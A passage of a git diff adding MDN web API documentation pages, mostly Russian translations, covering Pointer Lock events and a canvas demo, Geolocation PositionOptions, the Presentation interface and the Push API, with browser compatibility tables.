+<p>When the Pointer lock state changes—for example, when calling {{domxref("Element.requestPointerLock","requestPointerLock")}}, {{domxref("Document.exitPointerLock","exitPointerLock")}}, the user pressing the ESC key, etc.—the {{event("pointerlockchange")}} event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<pre class="brush: js">if ("onpointerlockchange" in document) {
+  document.addEventListener('pointerlockchange', lockChangeAlert, false);
+} else if ("onmozpointerlockchange" in document) {
+  document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+} else if ("onwebkitpointerlockchange" in document) {
+  document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);
+}
+
+function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    // Do something useful in response
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    // Do something useful in response
+  }
+}</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockerror event</h2>
+
+<p>When there is an error caused by calling {{domxref("Element.requestPointerLock","requestPointerLock")}} or {{domxref("Document.exitPointerLock","exitPointerLock")}}, the {{event("pointerlockerror")}} event is dispatched to the <code>document</code>. This is a simple event and contains no extra data.</p>
+
+<pre class="brush: js">document.addEventListener('pointerlockerror', lockError, false);
+document.addEventListener('mozpointerlock<span style="font-size: 1rem;">error</span><span style="font-size: 1rem;">', lockError, false);</span>
+document.addEventListener('webkitpointerlock<span style="font-size: 1rem;">error</span><span style="font-size: 1rem;">', lockError, false);</span>
+
+function lockError(e) {
+  alert("Pointer lock failed");
+}</pre>
+
+<div class="note"><strong>Note</strong>: The above events are currently prefixed with <code>moz</code> in Firefox and <code>webkit</code> in Chrome. </div>
+
+<h2 id="extensions" name="extensions">Extensions to mouse events</h2>
+
+<p>The Pointer lock API extends the normal {{domxref("MouseEvent")}} interface with movement attributes.</p>
+
+<pre class="idl"><span class="idlInterface" id="idl-def-MouseEvent">partial interface <span class="idlInterfaceID">MouseEvent</span> {
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementX">movementX</a></span>;</span>
+<span class="idlAttribute">    readonly attribute <span class="idlAttrType"><a>long</a></span> <span class="idlAttrName"><a href="http://dvcs.w3.org/hg/webevents/raw-file/default/mouse-lock.html#widl-MouseEvent-movementY">movementY</a></span>;</span>
+};</span></pre>
+
+<div class="note">The movement attributes are currently prefixed as <code>.mozMovementX</code> and <code>.mozMovementY</code> in Firefox, and<code>.webkitMovementX</code> and <code>.webkitMovementY</code> in Chrome.</div>
+
+<p>Two new parameters to mouse events—{{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}}—provide the change in mouse positions. The values of the parameters are the same as the difference between the values of {{domxref("MouseEvent")}} properties, {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}}, which are stored in two subsequent {{event("mousemove")}} events, <code>eNow</code> and <code>ePrevious</code>. In other words, the Pointer lock parameter <code>movementX = eNow.screenX - ePrevious.screenX</code>.</p>
+
+<h3 id="locked_state" name="locked_state">Locked state</h3>
+
+<p>When Pointer lock is enabled, the standard {{domxref("MouseEvent")}} properties {{domxref("MouseEvent.clientX","clientX")}}, {{domxref("MouseEvent.clientY","clientY")}}, {{domxref("MouseEvent.screenX","screenX")}}, and {{domxref("MouseEvent.screenY","screenY")}} are held constant, as if the mouse is not moving. The {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} properties continue to provide the mouse's change in position. There is no limit to {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} values if the mouse is continuously moving in a single direction. The concept of the mouse cursor does not exist and the cursor cannot move off the window or be clamped by a screen edge.</p>
+
+<h3 id="unlocked_state" name="unlocked_state">Unlocked state</h3>
+
+<p>The parameters {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} are valid regardless of the mouse lock state, and are available even when unlocked for convenience.</p>
+
+<p>When the mouse is unlocked, the system cursor can exit and re-enter the browser window. If that happens, {{domxref("MouseEvent.movementX","movementX")}} and {{domxref("MouseEvent.movementY","movementY")}} could be set to zero.</p>
+
+<h2 id="example" name="example">Simple example walkthrough</h2>
+
+<p>We've written a <a href="http://mdn.github.io/pointer-lock-demo/">simple pointer lock demo</a> to show you how to use it to set up a simple control system (<a href="https://github.com/mdn/pointer-lock-demo">see source code</a>). The demo looks like this:</p>
+
+<p><img alt="A red circle on top of a black background." src="https://mdn.mozillademos.org/files/7953/pointer-lock.png" style="display: block; height: 362px; margin: 0px auto; width: 640px;"></p>
+
+<p>This demo uses JavaScript to draw a ball on top of an {{ htmlelement("canvas") }} element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse. Let's see how this works.</p>
+
+<p>Set initial x and y positions on the canvas:</p>
+
+<pre class="brush: js">var x = 50;
+var y = 50;</pre>
+
+<p>The <code>canvasDraw()</code> function draws the ball in the current x and y positions, but it also includes <code>if()</code> statements to check whether the ball has gone off the edges of the canvas. If so, it makes the ball wrap around to the opposite edge.</p>
+
+<pre class="brush: js">function canvasDraw() {
+  if(x &gt; canvas.clientWidth+20) {
+    x = 0;
+  }
+
+  if(y &gt; canvas.clientHeight+20) {
+    y = 0;
+  }
+
+  if(x &lt; -20) {
+    x = canvas.clientWidth;
+  }
+
+  if(y &lt; -20) {
+    y = canvas.clientHeight;
+  }
+
+  ctx.fillStyle = "black";
+  ctx.fillRect(0,0,canvas.clientWidth,canvas.clientHeight);
+  ctx.fillStyle = "#f00";
+
+  ctx.beginPath();
+  ctx.arc(x,y,20,0,degToRad(360), true);
+  ctx.fill();
+}</pre>
+
+<p>The pointer lock methods are currently prefixed, so next we'll fork them for the different browser implementations.</p>
+
+<pre class="brush: js">canvas.requestPointerLock = canvas.requestPointerLock ||
+           canvas.mozRequestPointerLock ||
+           canvas.webkitRequestPointerLock;
+// pointer lock object forking for cross browser
+
+document.exitPointerLock = document.exitPointerLock ||
+         document.mozExitPointerLock ||
+         document.webkitExitPointerLock;
+//document.exitPointerLock();</pre>
+
+<p>Now we set up an event listener to run the requestPointerLock() method on the canvas when it is clicked, which initiates pointer lock.</p>
+
+<pre class="brush: js">canvas.onclick = function() {
+  canvas.requestPointerLock();
+}</pre>
+
+<p>Now for the dedicated pointer lock event listener: <code>pointerlockchange</code>. When this occurs, we run a function called <code>lockChangeAlert()</code> to handle the change.</p>
+
+<pre class="brush: js">// pointer lock event listener
+
+// Hook pointer lock state change events for different browsers
+document.addEventListener('pointerlockchange', lockChangeAlert, false);
+document.addEventListener('mozpointerlockchange', lockChangeAlert, false);
+document.addEventListener('webkitpointerlockchange', lockChangeAlert, false);</pre>
+
+<p>This function checks the pointLockElement property to see if it is our canvas. If so, it attached an event listener to handle the mouse movements with the <code>canvasLoop()</code> function. If not, it removes the event listener again.</p>
+
+<pre class="brush: js">function lockChangeAlert() {
+  if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+    document.addEventListener("mousemove", canvasLoop, false);
+  } else {
+    console.log('The pointer lock status is now unlocked');
+    document.removeEventListener("mousemove", canvasLoop, false);
+  }
+}</pre>
+
+<p>A tracker is set up to write out the X and Y values to the screen, for reference.</p>
+
+<pre class="brush: js">  var tracker = document.createElement('p');
+  var body = document.querySelector('body');
+  body.appendChild(tracker);
+  tracker.style.position = 'absolute';
+  tracker.style.top = '0';
+  tracker.style.right = '10px';
+  tracker.style.backgroundColor = 'white';</pre>
+
+<p>The <code>canvasLoop()</code> function first forks the <code>movementX</code> and <code>movementY</code> properties, as they are also prefixed currently in some browsers. It then adds those property's values to x and y, and reruns <code>canvasDraw()</code> with those new values so the ball position is updated. Finally, we use <code>requestAnimationFrame()</code> to run the loop again and again.</p>
+
+<pre>function canvasLoop(e) {
+  var movementX = e.movementX ||
+      e.mozMovementX          ||
+      e.webkitMovementX       ||
+      0;
+
+  var movementY = e.movementY ||
+      e.mozMovementY      ||
+      e.webkitMovementY   ||
+      0;
+
+  x += movementX;
+  y += movementY;
+
+  canvasDraw();
+
+  var animation = requestAnimationFrame(canvasLoop);
+
+  tracker.innerHTML = "X position: " + x + ', Y position: ' + y;
+}</pre>
+
+<h2 id="iframe_limitations">iframe limitations</h2>
+
+<p>Pointer lock can only lock one iframe at a time. If you lock one iframe, you cannot try to lock another iframe and transfer the target to it; Pointer lock will error out. To avoid this limitation, first unlock the locked iframe, and then lock the other.</p>
+
+<p>While iframes work by default, "sandboxed" iframes block Pointer lock. The ability to avoid this limitation, in the form of the attribute/value combination <code>&lt;iframe sandbox="allow-pointer-lock"&gt;</code>, is expected to appear in Chrome soon.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Lock')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>Yes {{ property_prefix("webkit") }}</p>
+   </td>
+   <td>
+    <p>Yes {{ property_prefix("gecko") }}</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..3b0653b12b
--- /dev/null
+++ b/files/ru/web/api/positionoptions/index.html
@@ -0,0 +1,105 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+translation_of: Web/API/PositionOptions
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p>Интерфейс <strong><code>PositionOptions</code></strong> описывает объект содержащий свойства передаваемые как параметр в {{domxref("Geolocation.getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>PositionOptions</code> не наследует никаких других свойств</em>.</p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt>
+ <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}}</dt>
+ <dd>Положительное число в милисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, что значит, <code>getCurrentPosition()</code> будет работать до тех пор пока не определит положение устройства.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}}</dt>
+ <dd>Положительное число указывающее максимально возможное время для кэширования результатов поиска положения устройства. Если установить <code>0</code>, это будет означать, что устройство не будет кэшировать позицию и будет всегда возвращать результат нового поиска. Если установить <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a>,</code> устройство всегда будет возвращать результат первого поиска. По умолчанию: 0.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><code>Интерфейс PositionOptions</code> не реализует и не наследует никаких методов.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Также_можно_посмотреть">Также можно посмотреть</h2>
+
+<ul>
+ <li><a href="Geolocation/Using_geolocation">Использование геолокации</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/ru/web/api/presentation/index.html b/files/ru/web/api/presentation/index.html
new file mode 100644
index 0000000000..6e5666bf7a
--- /dev/null
+++ b/files/ru/web/api/presentation/index.html
@@ -0,0 +1,107 @@
+---
+title: Presentation
+slug: Web/API/Presentation
+tags:
+  - АПИ
+  - Интерфейс
+  - Презентация
+  - Презентация АПИ
+  - Ссылка
+  - Экспериментальный
+translation_of: Web/API/Presentation
+---
+<p>{{APIRef("Presentation API")}}</p>
+
+<p>The <dfn><code>Presentation</code></dfn> can be defined as two possible user agents in the context: <span><em>Controlling user agent</em> </span>and <em><span>Receiving user agent</span></em>.</p>
+
+<p>In controlling browsing context, the <a class="external internalDFN external-icon" href="https://www.w3.org/TR/presentation-api/#dfn-presentation"><code>Presentation</code></a> interface provides a mechanism to override the browser default behavior of launching presentation to external screen. In receiving browsing context, <code>Presentation</code> interface provides the access to the available presentation connections.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Presentation.defaultRequest")}}</dt>
+ <dd>In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-controlling-user-agent">controlling user agent</a>, the <dfn><code>defaultRequest</code></dfn> attribute <em>MUST</em> return the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-default-presentation-request">default presentation request</a> if any, <code>null</code> otherwise. In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a>, it <em>MUST</em> return <code>null</code>.</dd>
+ <dt>{{domxref("Presentation.receiver")}}</dt>
+ <dd>In a <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-user-agent">receiving user agent</a>, the <dfn><code>receiver</code></dfn> attribute <em>MUST</em> return the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#idl-def-presentationreceiver"><code><code>PresentationReceiver</code></code></a> instance associated with the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a> and created by the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-user-agent">receiving user agent</a> when the <a class="internalDFN" href="https://www.w3.org/TR/presentation-api/#dfn-receiving-browsing-context">receiving browsing context</a> is created.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>None.</p>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Presentation','#interface-presentation','Presentation interface')}}</td>
+   <td>{{Spec2('Presentation')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatChrome (48.0)}}</p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome (48.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html
new file mode 100644
index 0000000000..2581e73e03
--- /dev/null
+++ b/files/ru/web/api/push_api/index.html
@@ -0,0 +1,186 @@
+---
+title: Push API
+slug: Web/API/Push_API
+tags:
+  - API
+  - Ссылка
+  - Уведомления
+  - Экспериментальная
+translation_of: Web/API/Push_API
+---
+<p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p>
+
+<p><strong>Push API</strong> дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , <a href="/en-US/docs/Web/API/Simple_Push_API">смотрите здесь</a>.</p>
+</div>
+
+<h2 id="Общие_сведения_об_использовании_push_уведомлений">Общие сведения об использовании push уведомлений</h2>
+
+<div class="warning">
+<p><span id="result_box" lang="ru"><span>При внедрении подписки PushManager, жизненно важно защищать запросы от CSRF/XSRF атак в вашем приложении.</span> </span><span lang="ru"><span> </span></span></p>
+
+<p><span lang="ru"><span>Дополнительную информацию см. В следующих статьях:</span></span></p>
+
+<ul>
+ <li><a href="https://habr.com/post/318748/">Методы защиты от CSRF-атаки</a></li>
+ <li><a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">Site Request Forgery (CSRF) Prevention Cheat Sheet</a></li>
+ <li><a href="/ru/docs/https://blog.codinghorror.com/preventing-csrf-and-xsrf-attacks/">Preventing CSRF and XSRF Attacks</a></li>
+</ul>
+</div>
+
+<p>Для получения push уведомлений приложение должно иметь активный <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>. Когда service worker активен, оно может подписаться на push уведомления используя {{domxref("PushManager.subscribe()")}}.</p>
+
+<p>Полученный объект {{domxref("PushSubscription")}} включает в себя всю необходимую информацию, которая может потребоваться приложению чтобы отправить push уведомление: адрес и ключ шифрования, необходимые для отправки данных.</p>
+
+<p>Service worker будет запущен для того чтобы обрабатывать входящие push сообщения, которые будут доставлены в {{domxref("ServiceWorkerGlobalScope.onpush")}} обработчик события. Это позволит приложению реагировать на push сообщения, к примеру показывать нотификации через метод {{domxref("ServiceWorkerRegistration.showNotification()")}}.</p>
+
+<p>Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.</p>
+
+<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешенная квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p>
+</div>
+
+<div class="note">
+<p><strong>Примечание</strong>: Так же Chrome обязывает регистрировать проект в <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> для отправки push сообщений, а также использовать присвоенный номер проекта и API ключ когда отправляются push уведомления. К тому же требуется наличие манифеста приложения с некоторыми параметрами для использования этого сервиса. Возможно эти ограничения будут убраны в будущем.</p>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Представляет собой push действие отправленное в <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> {{domxref("ServiceWorker")}}-а. Содержит информацию отправленную в {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Предоставляет способ для получения уведомлений из сторонних серверов, а также из URL запросов для push уведомлений. Этот интерфейс заменил устаревшую функциональность интерфейса {{domxref("PushRegistrationManager")}}.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Предоставляет доступ к push данным отправленным сервером и включает методы для манипулирования полученными данными.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Предоставляет конечную точку URL подписки и позволяет отписаться от push сервиса.</dd>
+</dl>
+
+<h2 id="Служебный_работник_дополнения">Служебный работник дополнения</h2>
+
+<p>Следущие дополнения к <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> описанные в спецификации Push API, представляют собой первостепенные действия для использования Push сообщений, а также для обработки push событий.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Возвращает ссылку на интерфейс {{domxref("PushManager")}} для манипулирования push подписок включая подписование, получение активной подписки и доступ к статусу push разрешения. Это входная точка к обмену push сообщениями.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("push")}}; то есть всегда когда принимается push сообщение сервера.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>Данный обработчик событий вызывается всякий раз когда происходит событие {{Event("pushsubscriptionchange")}}; например, когда push подписка стала недействительной или собирается быть недействительной (к примеру, когда push сервис устанавливает время истечения.)</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Push API")}}</td>
+   <td>{{Spec2("Push API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatGeckoDesktop(44.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PushEvent.data")}},<br>
+    {{domxref("PushMessageData")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В настоящее время доступно только для настольных версий Firefox; также push-сообщения доставляются только во время работы Firefox.</p>
+
+<p>[2]: <a href="https://dev.modern.ie/platform/status/pushapi/">Microsoft Edge status: In Development</a></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Push_API/Using_the_Push_API">Using the Push API</a></li>
+ <li><a href="https://github.com/chrisdavidmills/push-api-demo">Push API Demo</a>, на Github</li>
+ <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 46px; top: 3314.75px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/api/push_api/using_the_push_api/index.html b/files/ru/web/api/push_api/using_the_push_api/index.html
new file mode 100644
index 0000000000..6e5b1124da
--- /dev/null
+++ b/files/ru/web/api/push_api/using_the_push_api/index.html
@@ -0,0 +1,419 @@
+---
+title: Использование Push API
+slug: Web/API/Push_API/Using_the_Push_API
+translation_of: Web/API/Push_API
+---
+<p class="summary"><span class="seoSummary">W3C <a href="/en-US/docs/Web/API/Push_API">Push API</a> предоставляет некоторый захватывающий новый функционал для разработчиков для использования в web-приложениях: эта статья предлагает вводную информацию о том, как настроить Push-уведомления и управлять ими, с помощью простого демо.</span></p>
+
+<p>Возможность посылать сообщения или уведомления от сервера клиенту в любое время — независимо от того, активно приложение или нет — было прерогативой нативных приложений некоторое время, и наконец пришло в Web! Поддерживается большинства возможностей Push сейчас возможна в браузерах Firefox 43+ и Chrome 42+ на настольных компьютерах, мобильные платформы, возможно, скоро присоединятся. {{domxref("PushMessageData")}} на данный момент экспериментально поддерживаются только в Firefox Nightly (44+), и реализация может меняться.</p>
+
+<div class="note">
